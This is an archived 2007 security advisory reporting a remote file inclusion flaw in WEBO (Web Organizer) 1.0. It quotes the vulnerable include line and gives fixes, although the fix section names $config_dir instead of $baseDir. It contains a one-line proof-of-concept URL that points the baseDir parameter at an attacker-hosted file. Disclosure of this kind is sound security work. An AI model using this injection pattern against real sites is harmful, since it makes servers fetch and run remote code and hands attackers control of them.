Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16286
HistoryMar 09, 2007 - 12:00 a.m.

[ECHO_ADV_67$2007] WEBO (Web Organizer) <= 1.0 (baseDir) Remote File Inclusion Vulnerability

2007-03-0900:00:00
vulners.com
69

ECHO_ADV_67$2007


[ECHO_ADV_67$2007] WEBO (Web Organizer) <= 1.0 (baseDir) Remote File Inclusion Vulnerability

Author : M.Hasran Addahroni
Date : March, 9th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv67-K-159-2007.txt
Critical Lvl : Dangerous

Affected software description:


Application   : WEBO &#40;Web Organizer&#41; 
version       : 1.0
Vendor        : http://sourceforge.net/projects/weborganizer/
Description :

WEBO &#40;Web Organizer&#41; is an open-source Web application suite providing a groupware calendar, a personal address book, a shared contacts directory, and a personal desktop page.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~
- Invalid include function at modules/abook/foldertree.php :

---------------foldertree.php--------------------------------------
&lt;?php

/* memento :
        TreeFolder&#40; $label, $url=&quot;&quot;, $target=&quot;&quot;, $icon = &quot;&quot;, $id=&quot;&quot;, $options=&quot;&quot;  &#41;
        TreeItem&#40; $label, $url, $target=&quot;&quot;, $icon=&quot;&quot;, $options=&quot;&quot;  &#41;
*/

include_once&#40; &quot;$baseDir/lib/HTML/tree.php&quot;&#41;;
...
------------------------------------------------------------------

Variables $baseDir are not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.


Poc/Exploit:
~~~~~~~~~~

http://www.target.com/[webo_path]/modules/abook/foldertree.php?baseDir==http://attacker.com/evil?


Solution:
~~~~~~~

- Sanitize variable $config_dir on affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S&#96;to,lirva32,negative, str0ke &#40;for the best comments&#41;
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ [email protected]
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------